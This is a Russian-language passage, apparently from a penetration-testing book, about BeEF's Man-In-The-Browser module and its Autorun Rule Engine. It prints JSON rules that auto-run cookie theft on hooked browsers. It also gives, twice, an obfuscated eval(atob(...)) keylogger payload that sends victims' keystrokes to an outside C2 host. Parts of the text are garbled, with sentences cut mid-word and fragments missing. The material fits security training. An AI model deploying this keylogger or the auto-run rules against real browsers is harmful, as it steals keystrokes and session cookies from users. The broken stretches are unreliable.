Закрепление в системе

обо всем позаботится сам.

Вид атаки «Человек в браузере» (MITB) аналогичен более популярному типу атаки «Человек посередине» (MITM). В случае с MITM компьютер жертвы обманом вынуждают направлять пакеты на компьютер злоумышленника, предоставляя ему полный контроль над сетевымтрафиком жертвы.Это может привести к таким последствиям, как понижение степени защиты соединения по протоколу TLS или отказ от его использования, нарушение целостности, внедрение вредоносных программ и многое другое. Атака MITB похожа тем, что веб-запросы проксируются и передаются с помощью вредоносного кода.

Например, модуль Man-In-The-Browser будет перехватывать клики по ссылкам, которые обычно отвлекают пользователя от перехваченной страницы. Вместо обычного завершения щелчка модуль будет выполнять следующие действия в фоновом режиме:

1.Выполнит асинхронный запрос JavaScript (XHR) к предполагаемому месту­ назначения.

2.Заменит содержимое существующей страницы содержимым страницы назначения.

3.Обновит адресную строку,чтобы отразить нажатую ссылку.

4.Добавит «старую» страницу в историю просмотров.

Можно увидетьатаку MITB вдействии,посмотрев историю выполнения модуля.

Рис.9.16. Результаты работы модуля Man-In-The-Browser

Для жертвы этот процесс прозрачен, поскольку запрошенная ею страница была успешно загружена и все выглядит нормально. Разница в том, что BeEF никогда не терял контроль над ловушкой, потому что сеанс из текущей вклад-

обеспечивая нам постоянный контроль.

Автоматическая эксплуатация

Всеэтимодуливеликолепны,ноXSS-атакиобычночувствительныковреме- ни. Если мы успешно обманули пользователя и заставили его запустить нашу ловушку, у нас может не хватить времени, чтобы кликнуть по пользовательскому интерфейсу и запустить какие-либо модули, прежде чем пользователь закроет страницу или перейдет к другой части приложения.

К счастью, в BeEF реализован компонент Autorun Rule Engine (ARE), который выполняет то, что вы, возможно, ожидали: он автоматически запускает модули,используя набор правил,определенных оператором.В зависимости от того, какие правила были включены, всякий раз, когда новый браузер заражается, выбранные модули выполняются автоматически.

Очевидные кандидаты в ARE – те, кто обеспечивает закрепление в системе и получение конфиденциальныхданных,например куки-файлы илидаже наш пользовательский кейлоггер.

Более подробную информацию об ARE можно найти на странице https://github.com/beefproject/beef/wiki/Autorun-Rule-Engine.

Правило ARE – это простой файл в формате JSON с метаданными, описывающими модуль, который должен быть выполнен. Он хранится в подкаталоге

arerules.

BeEF поставляется с несколькими примерами правил, которые позволяют запускать такие модули, как Get Cookie или Ping Sweep, но по умолчанию они выключены. Если мы хотим запустить их, как только жертва будет перехвачена, нужно поместить соответствующие JSON-файлы в подкаталог arerules/ enabled и перезапустить BeEF.

Правило Get Cookie выглядиттак:

root@spider-c2-1:~/beef# cat arerules/get_cookie.json

{

"name": "Get Cookie", "author": "@benichmt1", "browser": "ALL", "browser_version": "ALL", "os": "ALL", "os_version": "ALL", "modules": [

{"name": "get_cookie",

шего кейлоггера в Base64 и передаем его в декодер Base64, который, в свою очередь,будет выполняться функцией eval().Мы не обязаны делать этот шаг, но, чтобы сохранить код кейлоггера в файле JSON, нужно сжать его, используя минификаторJavaScriptиэкранируялюбыедвойныекавычкивкоде.Выглядит несколько сумбурно, поэтому пойдем по более простому пути.

Можно быстро закодировать кейлоггер, используя нечто наподобие Cyber­ Chef (или функцию JavaScript btoa()).

Рис.9.17. Кодирование пользовательского кода кейлоггера в CyberChef

Чтобы запустить код кейлоггера в кодировке Base64, нужно передать его в функцию atob(), прежде чем использовать метод eval() для фактического выполнения кода.

Ввод модуля Raw JavaScript будет выглядеть примерно так:

eval(atob(‘dmFyIHB1c2hfdXJsID0gImh0dHA6Ly9jMi5zcGlkZXIubWwvbG9nLnBoc D9zZXNzaW9uPSI7Cgp2YXIgYnVmZmVyID0gW107CmRvY3VtZW50LmFkZEV2ZW50TGlzdG VuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7CiAgICBrZXkgPSBlLmtleTsKICAgIGl mIChrZXkubGVuZ3RoID4gMSB8fCBrZXkgPT0gIiAiKSB7IGtleSA9ICJbIiArIGtleSAr ICJdIiB9CiAgICBidWZmZXIucHVzaChrZXkpOwp9KTsKCndpbmRvdy5zZXRJbnRlcnZhb ChmdW5jdGlvbigpIHsKICAgIGlmIChidWZmZXIubGVuZ3RoID4gMCkgewogICAgICAgIHZ hciBkYXRhID0gZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoYnVmZmVyLmpvaW4oJycpKSk7 CgogICAgICAgIHZhciBpbWcgPSBuZXcgSW1hZ2UoKTsKICAgICAgICBpbWcuc3JjID0gcH VzaF91cmwgKyBkYXRhOwoKICAgICAgICBidWZmZXIgPSBbXTsKICAgIH0KfSwgMjAwM Ck7’));

JavaScript. Этот модуль ожидает установки опции cmd, и именно сюда мы помещаем наш однострочный скрипт.

В окончательном виде правило будет выглядетьтак:

root@spider-c2-1:~/beef# cat arerules/enabled/raw_javascript.json

{

"name": "Raw JavaScript", "author": "wade@bindshell.net", "browser": "ALL", "browser_version": "ALL", "os": "ALL",

"os_version": "ALL", "modules": [

{"name": "raw_javascript", "condition": null, "options": {

"cmd": "eval(atob('dmFyIHB1c2hfdXJsID0gImh0dHA6Ly9jMi5zcGlkZXIub

WwvbG9nLnBocD9zZXNzaW9uPSI7Cgp2YXIgYnVmZmVyID0gW107CmRvY3VtZW50LmFkZEV2ZW

50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7CiAgICBrZXkgPSBlLmtleTsKICA

gIGlmIChrZXkubGVuZ3RoID4gMSB8fCBrZXkgPT0gIiAiKSB7IGtleSA9ICJbIiArIGtleSAr

ICJdIiB9CiAgICBidWZmZXIucHVzaChrZXkpOwp9KTsKCndpbmRvdy5zZXRJbnRlcnZhbChmd

W5jdGlvbigpIHsKICAgIGlmIChidWZmZXIubGVuZ3RoID4gMCkgewogICAgICAgIHZhciBkYX

RhID0gZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoYnVmZmVyLmpvaW4oJycpKSk7CgogICAgICA

gIHZhciBpbWcgPSBuZXcgSW1hZ2UoKTsKICAgICAgICBpbWcuc3JjID0gcHVzaF91cmwgKyBk

YXRhOwoKICAgICAgICBidWZmZXIgPSBbXTsKICAgIH0KfSwgMjAwMCk7'));"

}

}

],

"execution_order": [0], "execution_delay": [0], "chain_mode": "sequential"

}

Каждый модуль требует своих специфических опций, чтобы функционировать правильно. BeEF – это программное обеспечение с открытым исходным кодом, поэтому мы можем проверить код, чтобы выяснить, что это за опции

(см. рис. 9 18).

После перезапуска BeEF загрузится наше новое правило ARE вместе с двумя другими стандартными правилами.

root@spider-c2-1:~/beef# ./beef [...]